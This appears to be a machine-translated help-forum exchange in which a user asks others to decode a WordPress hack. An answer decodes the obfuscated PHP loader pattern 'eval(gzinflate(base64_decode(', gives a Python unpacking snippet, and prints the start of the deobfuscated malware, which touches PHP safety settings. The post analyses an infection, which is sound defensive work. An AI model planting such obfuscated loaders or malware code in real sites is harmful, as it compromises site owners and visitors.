请帮我破译这个 Wordpress 黑客程序？

看起来与这个帖子

我不擅长使用 Python，所以我想我可以在这里寻求帮助。这个 hack 似乎在面向用户的页面上包含了一个 iframe，但从我上面提到的问题来看，这可能并不是它的全部功能！

>>> "\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28"
'eval(gzinflate(base64_decode('

好的，它采用该 base64 字符串，解开 base64 和 gzip，然后对其进行评估。（末尾的其他字符是)));）所以：

import base64, zlib
# remove all the line breaks from that big base64 string:
a = 'xVl7d9u2Dv8qqptT22eOI5J62tWWrksfa9Nuea1tkuuj2L.......'
print(zlib.decompressobj().decompress('x\x9c' + base64.b64decode(a)))

这给你带来了..这个丑陋的大东西。我稍后可能会仔细看看它在做什么，但现在..就这样。

google($i){$a=Array("safe_mode","open_basedir","safe_mode_include_dir","safe_mode_exec_dir","disable_functions","allow_url_fopen",'max_execution_time','output_buffering','memory_limit','16M','error_log','log_errors','file_uploads','allow_url_fopen','max_execution_time','output_buffering','memory_limit','16M','error_log','log_errors','file_uploads','allow_url_fopen',"Mozilla/4.0
